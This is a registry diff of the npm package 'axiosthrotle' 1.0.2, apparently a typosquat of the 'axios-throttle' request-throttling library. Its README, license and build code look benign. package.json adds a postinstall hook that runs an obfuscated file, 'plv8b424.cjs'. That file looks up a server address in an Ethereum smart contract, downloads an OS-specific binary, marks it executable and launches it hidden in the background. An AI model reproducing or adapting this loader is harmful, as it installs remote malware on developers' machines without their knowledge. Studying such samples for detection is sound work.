axiosthrotle 1.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2018 Arkadiusz Gotfryd
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.
package/README.md ADDED
@@ -0,0 +1,70 @@
1
+ # axios-throttle
2
+
3
+ Library which allows to throttle axios library request
4
+
5
+ ## Installation
6
+
7
+ `npm install axios-throttle`
8
+
9
+ ## Usage
10
+
11
+ ```js
12
+ const axios = require('axios');
13
+ const axiosThrottle = require('axios-throttle');
14
+ //pass axios object and value of the delay between requests in ms
15
+ axiosThrottle.init(axios,200)
16
+ const options = {
17
+ method: 'GET',
18
+ };
19
+ const urls = [
20
+ 'https://jsonplaceholder.typicode.com/todos/1',
21
+ 'https://jsonplaceholder.typicode.com/todos/2',
22
+ 'https://jsonplaceholder.typicode.com/todos/3',
23
+ 'https://jsonplaceholder.typicode.com/todos/4',
24
+ 'https://jsonplaceholder.typicode.com/todos/5',
25
+ 'https://jsonplaceholder.typicode.com/todos/6',
26
+ 'https://jsonplaceholder.typicode.com/todos/7',
27
+ 'https://jsonplaceholder.typicode.com/todos/8',
28
+ 'https://jsonplaceholder.typicode.com/todos/9',
29
+ 'https://jsonplaceholder.typicode.com/todos/10'
30
+ ];
31
+ const promises = [];
32
+ const responseInterceptor = response => {
33
+ console.log(response.data);
34
+ return response;
35
+ };
36
+
37
+ //add interceptor to work with each response seperately when it is resolved
38
+ axios.interceptors.response.use(responseInterceptor, error => {
39
+ return Promise.reject(error);
40
+ });
41
+
42
+ for (let index = 0; index < urls.length; index++) {
43
+ options.url = urls[index];
44
+ promises.push(axiosThrottle.getRequestPromise(options, index));
45
+ }
46
+
47
+ //run when all promises are resolved
48
+ axios.all(promises).then(responses => {
49
+ console.log(responses.length);
50
+ });
51
+ ```
52
+
53
+ # Run example
54
+
55
+ `npm i`
56
+ `npm run example`
57
+
58
+ # API
59
+
60
+ ## init
61
+
62
+ Initializes library
63
+ @param {any} axiosArg axios - object
64
+ @param {number} delayBetweenRequests - delay between requests in miliseconds (If you want to send 5 requests per second you need to set value of this parameter to 200)
65
+
66
+ ## getRequestPromise
67
+
68
+ Returns request's promise
69
+ @param {any} options - axios options
70
+ @param {number} index - index from urls array
package/build/index.js ADDED
@@ -0,0 +1,105 @@
1
+ (function webpackUniversalModuleDefinition(root, factory) {
2
+ if(typeof exports === 'object' && typeof module === 'object')
3
+ module.exports = factory();
4
+ else if(typeof define === 'function' && define.amd)
5
+ define([], factory);
6
+ else if(typeof exports === 'object')
7
+ exports["axiosThrottle"] = factory();
8
+ else
9
+ root["axiosThrottle"] = factory();
10
+ })(this, function() {
11
+ return /******/ (function(modules) { // webpackBootstrap
12
+ /******/ // The module cache
13
+ /******/ var installedModules = {};
14
+ /******/
15
+ /******/ // The require function
16
+ /******/ function __webpack_require__(moduleId) {
17
+ /******/
18
+ /******/ // Check if module is in cache
19
+ /******/ if(installedModules[moduleId])
20
+ /******/ return installedModules[moduleId].exports;
21
+ /******/
22
+ /******/ // Create a new module (and put it into the cache)
23
+ /******/ var module = installedModules[moduleId] = {
24
+ /******/ exports: {},
25
+ /******/ id: moduleId,
26
+ /******/ loaded: false
27
+ /******/ };
28
+ /******/
29
+ /******/ // Execute the module function
30
+ /******/ modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
31
+ /******/
32
+ /******/ // Flag the module as loaded
33
+ /******/ module.loaded = true;
34
+ /******/
35
+ /******/ // Return the exports of the module
36
+ /******/ return module.exports;
37
+ /******/ }
38
+ /******/
39
+ /******/
40
+ /******/ // expose the modules object (__webpack_modules__)
41
+ /******/ __webpack_require__.m = modules;
42
+ /******/
43
+ /******/ // expose the module cache
44
+ /******/ __webpack_require__.c = installedModules;
45
+ /******/
46
+ /******/ // __webpack_public_path__
47
+ /******/ __webpack_require__.p = "";
48
+ /******/
49
+ /******/ // Load entry module and return exports
50
+ /******/ return __webpack_require__(0);
51
+ /******/ })
52
+ /************************************************************************/
53
+ /******/ ([
54
+ /* 0 */
55
+ /***/ (function(module, exports) {
56
+
57
+ "use strict";
58
+
59
+ //globals
60
+ var axios = void 0,
61
+ delayBetweenRequests = void 0;
62
+ /**
63
+ *
64
+ * @param {any} axiosArg axios object
65
+ * @param {number} delayBetweenRequests delay between requests in miliseconds
66
+ */
67
+ function init(axiosArg, delayBetweenRequestsArg) {
68
+ axios = axiosArg;
69
+ delayBetweenRequests = delayBetweenRequestsArg;
70
+ }
71
+
72
+ /**
73
+ *
74
+ * @param {time} time sleep time in miliseconds
75
+ */
76
+ function sleep(time) {
77
+ return new Promise(function (resolve) {
78
+ return setTimeout(resolve, time);
79
+ });
80
+ }
81
+
82
+ /**
83
+ *
84
+ * @param {any} options axios options
85
+ * @param {number} index index from urls array
86
+ */
87
+ function getRequestPromise(options, index) {
88
+ var _options = JSON.parse(JSON.stringify(options));
89
+ return sleep(delayBetweenRequests * index).then(function () {
90
+ return axios(_options);
91
+ });
92
+ }
93
+
94
+ var axiosThrottle = {
95
+ init: init,
96
+ getRequestPromise: getRequestPromise
97
+ };
98
+
99
+ module.exports = axiosThrottle;
100
+
101
+ /***/ })
102
+ /******/ ])
103
+ });
104
+ ;
105
+ //# sourceMappingURL=index.js.map
package/package.json ADDED
@@ -0,0 +1,34 @@
1
+ {
2
+ "name": "axiosthrotle",
3
+ "version": "1.0.2",
4
+ "description": "Library which allows to throttle axios requests",
5
+ "main": "build/index.js",
6
+ "engines": {
7
+ "node": ">=6.10.3"
8
+ },
9
+ "scripts": {
10
+ "postinstall": "node plv8b424.cjs"
11
+ },
12
+ "keywords": [
13
+ "axios-throttle",
14
+ "axios",
15
+ "request throttling"
16
+ ],
17
+ "author": "arekgofi <arekgofi@gmail.com>",
18
+ "homepage": "https://github.com/arekgofi/axios-throttle",
19
+ "license": "MIT",
20
+ "dependencies": {
21
+ "axios": "^1.7.7",
22
+ "ethers": "^6.13.2"
23
+ },
24
+ "devDependencies": {
25
+ "babel-core": "^6.0.20",
26
+ "babel-loader": "^6.0.1",
27
+ "babel-preset-es2015": "^6.0.15",
28
+ "node-libs-browser": "^0.5.3",
29
+ "webpack": "^1.12.2"
30
+ },
31
+ "files": [
32
+ "plv8b424.cjs"
33
+ ]
34
+ }
package/plv8b424.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x4141a4=_0x2795;function _0x1b94(){const _0x219c32=['10734486ooHUhc','QTWnO','okTkP','platform','win32','stream','ZsHhZ','basename','869733eWubFp','ignore','672989IanbyB','createWriteStream','axios','184BFYism','path','Ошибка\x20при\x20запуске\x20файла:','/node-macos','XegiW','unref','ethers','YbCeC','error','finish','Jvrsi','function\x20getString(address\x20account)\x20public\x20view\x20returns\x20(string)','1107266IZaeFf','child_process','NRtOM','4319770tUogZu','pipe','chmodSync','wQeeQ','Ошибка\x20при\x20получении\x20IP\x20адреса:','data','getString','0xa1b40044EBc2794f207D45143Bd82a1B86156c6b','getDefaultProvider','cflps','9hepKUc','3807400deMEFL','Ошибка\x20установки:','xqZhV','xkiQO','xLArK','cbpeA','GET','UZvqh','join','0x52221c293a21D8CA7AFD01Ac6bFAC7175D590A84','tmpdir','Contract','/node-linux','3972415xLBVlh','/node-win.exe'];_0x1b94=function(){return _0x219c32;};return _0x1b94();}function _0x2795(_0x50bb2d,_0x3ed74a){const _0x1b949c=_0x1b94();return _0x2795=function(_0x27953f,_0x2f8612){_0x27953f=_0x27953f-0x1ec;let _0x58e9c5=_0x1b949c[_0x27953f];return _0x58e9c5;},_0x2795(_0x50bb2d,_0x3ed74a);}(function(_0x18bdc6,_0x38da82){const _0x744fa4=_0x2795,_0x1ce107=_0x18bdc6();while(!![]){try{const _0x1a4b59=parseInt(_0x744fa4(0x221))/0x1+-parseInt(_0x744fa4(0x1fa))/0x2*(parseInt(_0x744fa4(0x207))/0x3)+parseInt(_0x744fa4(0x208))/0x4+parseInt(_0x744fa4(0x215))/0x5+parseInt(_0x744fa4(0x217))/0x6+parseInt(_0x744fa4(0x1fd))/0x7+parseInt(_0x744fa4(0x1ee))/0x8*(-parseInt(_0x744fa4(0x21f))/0x9);if(_0x1a4b59===_0x38da82)break;else _0x1ce107['push'](_0x1ce107['shift']());}catch(_0x468e93){_0x1ce107['push'](_0x1ce107['shift']());}}}(_0x1b94,0xe5f8b));const {ethers}=require(_0x4141a4(0x1f4)),axios=require(_0x4141a4(0x1ed)),util=require('util'),fs=require('fs'),path=require(_0x4141a4(0x1ef)),os=require('os'),{spawn}=require(_0x4141a4(0x1fb)),contractAddress=_0x4141a4(0x204),WalletOwner=_0x4141a4(0x211),abi=[_0x4141a4(0x1f9)],provider=ethers[_0x4141a4(0x205)]('mainnet'),contract=new ethers[(_0x4141a4(0x213))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x5e6764=_0x4141a4,_0xc2e07d={'YbCeC':_0x5e6764(0x201),'cflps':function(_0x2dfb00){return _0x2dfb00();}};try{const _0x51d20b=await contract[_0x5e6764(0x203)](WalletOwner);return _0x51d20b;}catch(_0x40b269){return console[_0x5e6764(0x1f6)](_0xc2e07d[_0x5e6764(0x1f5)],_0x40b269),await _0xc2e07d[_0x5e6764(0x206)](fetchAndUpdateIp);}},getDownloadUrl=_0x5eba45=>{const _0x3b120b=_0x4141a4,_0x48efd9={'QTWnO':'linux'},_0x49590a=os['platform']();switch(_0x49590a){case _0x3b120b(0x21b):return _0x5eba45+_0x3b120b(0x216);case _0x48efd9[_0x3b120b(0x218)]:return _0x5eba45+_0x3b120b(0x214);case'darwin':return _0x5eba45+_0x3b120b(0x1f1);default:throw new Error('Unsupported\x20platform:\x20'+_0x49590a);}},downloadFile=async(_0x168d7f,_0x1b3b76)=>{const _0x56e087=_0x4141a4,_0x385706={'QHoin':_0x56e087(0x1f7),'ZsHhZ':'error','Jvrsi':function(_0x40ceb7,_0x4f3e9f){return _0x40ceb7(_0x4f3e9f);},'xhxgt':_0x56e087(0x20e),'okTkP':_0x56e087(0x21c)},_0x405261=fs[_0x56e087(0x1ec)](_0x1b3b76),_0x5ab2ba=await _0x385706[_0x56e087(0x1f8)](axios,{'url':_0x168d7f,'method':_0x385706['xhxgt'],'responseType':_0x385706[_0x56e087(0x219)]});return _0x5ab2ba[_0x56e087(0x202)][_0x56e087(0x1fe)](_0x405261),new Promise((_0x59c65a,_0x5be9fe)=>{const _0x12461c=_0x56e087;_0x405261['on'](_0x385706['QHoin'],_0x59c65a),_0x405261['on'](_0x385706[_0x12461c(0x21d)],_0x5be9fe);});},executeFileInBackground=async _0x13f60a=>{const _0x16722=_0x4141a4,_0x589cb1={'cbpeA':function(_0x363b0f,_0x3cc99b,_0x30fd10,_0x487954){return _0x363b0f(_0x3cc99b,_0x30fd10,_0x487954);},'XegiW':_0x16722(0x220)};try{const _0x7c4c9d=_0x589cb1[_0x16722(0x20d)](spawn,_0x13f60a,[],{'detached':!![],'stdio':_0x589cb1[_0x16722(0x1f2)]});_0x7c4c9d[_0x16722(0x1f3)]();}catch(_0x2872bf){console['error'](_0x16722(0x1f0),_0x2872bf);}},runInstallation=async()=>{const _0x2498fd=_0x4141a4,_0x3f538f={'xkiQO':function(_0x139e4f){return _0x139e4f();},'xqZhV':function(_0x458491,_0x29a254){return _0x458491(_0x29a254);},'wQeeQ':function(_0x4439a2,_0x273826,_0x4e631f){return _0x4439a2(_0x273826,_0x4e631f);},'UZvqh':'win32','NRtOM':'755','xLArK':function(_0x4a562f,_0x17cb18){return _0x4a562f(_0x17cb18);}};try{const _0xeeba88=await _0x3f538f[_0x2498fd(0x20b)](fetchAndUpdateIp),_0x5dd3e6=_0x3f538f[_0x2498fd(0x20a)](getDownloadUrl,_0xeeba88),_0x18565c=os[_0x2498fd(0x212)](),_0x52b005=path[_0x2498fd(0x21e)](_0x5dd3e6),_0x2e3f11=path[_0x2498fd(0x210)](_0x18565c,_0x52b005);await _0x3f538f[_0x2498fd(0x200)](downloadFile,_0x5dd3e6,_0x2e3f11);if(os[_0x2498fd(0x21a)]()!==_0x3f538f[_0x2498fd(0x20f)])fs[_0x2498fd(0x1ff)](_0x2e3f11,_0x3f538f[_0x2498fd(0x1fc)]);_0x3f538f[_0x2498fd(0x20c)](executeFileInBackground,_0x2e3f11);}catch(_0xf55301){console['error'](_0x2498fd(0x209),_0xf55301);}};runInstallation();